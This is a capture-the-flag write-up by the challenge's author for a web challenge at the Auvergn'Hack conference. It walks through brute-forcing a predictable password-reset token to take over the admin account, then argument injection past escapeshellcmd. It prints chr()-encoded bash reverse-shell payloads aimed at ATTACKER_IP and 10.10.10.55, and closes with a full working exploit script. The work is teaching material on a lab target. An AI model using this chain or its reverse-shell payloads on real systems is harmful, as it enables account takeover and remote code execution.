Introduction
Auvergn’Hack is a cybersecurity conference held in Clermont-Ferrand, France on April 5th. This year was the first edition, and I had the chance to create a few challenges in the Web, Forensic, and Misc categories. Even though the CTF was not perfect due to infrastructure issues, it was a pleasure to see people playing and trying to solve as many challenges as possible, and to be able to answer their questions.
Hoping next one will be even better ! 🐒
Challenge description
- category : web
- difficulty : medium
- points : 200-400
- description :
Welcome to the hackerHub, where you'll soon find all our 0day exploits and more !
Account Takeover
When browsing the website, we discover the following page :
From here, we can log into an account, create one, perform a password reset, or access a contact form.
After reviewing the code, we discover that admin account has access to more features.
<h1 class="glitch">Welcome to Your Dashboard</h1>
<p>Something new and exciting is coming soon. Stay tuned...</p>
<?php
if(isset($_SESSION['role']) && $_SESSION['role'] === 'admin') {
echo "<a href=\"analysis.php\">Go to Server Analysis</a> |";
}
?>
Moreover, we see that the password reset feature is vulnerable due to the pseudo-random token generation :
function generateToken() {
$s = date("s");
$r = rand(6666,9999);
$t = $s . "_ZiTF_" . $r;
return $t;
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$email = $_POST['email'];
$token = generateToken();
try {
$stmt = $pdo->prepare('UPDATE users SET reset_token = :token WHERE email = :email');
$stmt->execute(['token' => $token, "email" => $email]);
$reset_link = "http://localhost:8080/new_password.php?token=$token";
# TO DO
} catch (PDOException $e) {
# TO DO
}
}
?>
To exploit it and take over the administrator account, we need the admin’s email that we can find in the contact form.
<textarea name="message" placeholder="Enter your message here" required></textarea><br>
<input type="hidden" name="email_dst" value="admin-random@zitf.fr">
<button type="submit">Send</button>
Then, by extracting the seconds from the Date
response header, we can generate a list of tokens to reset the admin’s password.
#!/usr/bin/python
def generate_tokens():
r = requests.post(url='http://localhost:8000/forgot_password.php',data={'email':'admin-random@zitf.fr'})
if r.status_code != 200:
print("[*] Error while resting password !")
exit()
date = r.headers['date']
second = datetime.strptime(date,"%a, %d %b %Y %H:%M:%S %Z").second
tokens=[]
for i in range(6666,9999+1):
tokens.append(f"{second:02d}_ZiTF_{i}")
return tokens
if __name__ == '__name__':
with open('tokens.txt','w') as f:
f.write("\n".join(generate_tokens()))
Using ffuf, we quickly bruteforce it and reset the password.
$ ffuf -w tokens.txt -fs 23 -u 'http://localhost:8000/reset_password.php?token=FUZZ'
[...]
50_ZiTF_8980
Command argument injection
Now that we are logged as the administrator, we can access the analysis.php
page.
The code uses a suspicious shell_exec
call :
<div class="result">
<h2>Analysis Results</h2>
<div class="result-box">
<?php
if (isset($_GET['task'])) {
$task = escapeshellarg($_GET['task']);
$args = isset($_GET['args']) ? $_GET['args'] : ' ';
chdir('/scripts');
$command = escapeshellcmd('python3 ' . $task . ' ' . $args);
if (str_contains($command, ';') || str_contains($command, '&') || str_contains($command, '`') || str_contains($command, '$')) {
echo "<pre style='color:red'>STOP HACKING !</pre>";
} else {
$output = shell_exec($command);
echo "<pre>" . $output . "</pre>";
}
}
?>
Here we notice the concatenation of $task
and $args
used to build the final command that is executed on the system.
According to the documentation, injecting malicious bash to exploit a basic command injection is impossible.
escapeshellcmd escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec or system functions, or to the backtick operator.
So the trick here is to use argument injection instead !
For example, the could do something like this :
$ python3 -c 'import os;os.system("sh -i >& /dev/tcp/ATTACKER_IP/9001 0>&1")'
However, the constraint is to have a working payload using the output of escapeshellcmd
, without including ;&$
or backticks in the final command.
A workaround is to use ASCII encoding !
def encode_payload(payload):
return 'exec(' + '+'.join(f'chr({ord(c)})' for c in payload) + ')'
def exploit():
payload = encode_payload(f'import os;os.system("echo \'sh -i >& /dev/tcp/ATTACKER_IP/6060 0>&1\' | bash")')
s.get(url = TARGET+"analysis.php",params={"task":"-c","args":payload})
$ ./exploit.py
[*] Tokens are generated
[*] Done ! Use wfuzz/ffuf to find the correct token :)
Ex : ffuf -w tokens.txt -fs 23 -u 'http://127.0.0.1:8000/reset_password.php?token=FUZZ'
Reset Token : 00_ZiTF_9383
[*] Sucessfully Authenticated as admin-random@zitf.fr !
[*] Starting listener on 6060
[+] Trying to bind to :: on port 6060: Done
[*] EXPLOIT
[+] Waiting for connections on :::6060: Got connection from ::ffff:192.168.16.3 on port 60040
[*] Switching to interactive mode
sh: 0: can't access tty; job control turned off
$ $ cat /flag.txt
ZiTF{}$
Then we got the flag 🔥
Unintented Path
During CTF, some users players exploited some python built-in scripts to retrieve the flag.
Example of working python scripts :
/analysis.php?task=/usr/lib/python3.11/tokenize.py&args=/flag.txt
/analysis.php?task=/usr/lib/python3.11/fileinput.py&args=/flag.txt
/analysis.php?task=/usr/lib/python3.11/shlex.py&args=/flag.txt
/analysis.php?task=/usr/lib/python3.11/quopri.py&args=/flag.txt
Well play ! 🔥
Exploit Script
#!/usr/bin/python3
import requests
from datetime import datetime
import subprocess
from pwn import *
import threading
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
TARGET = "http://127.0.0.1:8000/"
ADMIN_EMAIL = "admin-random@zitf.fr"
OUTPUT_FILE="tokens.txt"
REV_IP = '10.10.10.55'
REV_PORT = 6060
s = requests.Session()
def start_listener():
l = listen(REV_PORT)
l.wait_for_connection()
l.interactive()
def generate_tokens():
r = requests.post(url=TARGET+'forgot_password.php',data={'email':ADMIN_EMAIL})
if r.status_code != 200:
print("[*] Error while resting password !")
exit()
date = r.headers['date']
second = datetime.strptime(date,"%a, %d %b %Y %H:%M:%S %Z").second
tokens=[]
for i in range(6666,9999+1):
tokens.append(f"{second:02d}_ZiTF_{i}")
return tokens
def reset_password(reset_token,new_password):
r = requests.post(url = TARGET+"reset_password.php",params={"token":reset_token},data={"new_password":new_password})
if r.status_code == 302:
return True
else:
return False
def login(username,password):
r = s.post(url = TARGET+"login.php", data={"email":username,"password":password}, allow_redirects=False)
if r.status_code == 302:
return True
else:
return False
def encode_payload(payload):
return 'exec(' + '+'.join(f'chr({ord(c)})' for c in payload) + ')'
def exploit():
payload = encode_payload(f'import os;os.system("echo \'sh -i >& /dev/tcp/{REV_IP}/{REV_PORT} 0>&1\' | bash")')
s.get(url = TARGET+"analysis.php",params={"task":"-c","args":payload})
if __name__ == '__main__':
tokens = generate_tokens()
print("[*] Tokens are generated")
with open(OUTPUT_FILE,'w') as f:
f.write("\n".join(tokens))
print("[*] Done ! Use wfuzz/ffuf to find the correct token :)")
print(f"Ex : ffuf -w tokens.txt -fs 23 -u '{TARGET}reset_password.php?token=FUZZ'")
token = input("Reset Token : ")
reset_password(token,"H4CK3D!")
if login(ADMIN_EMAIL,"H4CK3D!"):
print(f"[*] Sucessfully Authenticated as {ADMIN_EMAIL} !")
print(f"[*] Starting listener on {REV_PORT}")
listener_thread = threading.Thread(target=start_listener, daemon=True)
listener_thread.start()
print("[*] EXPLOIT")
exploit()
listener_thread.join()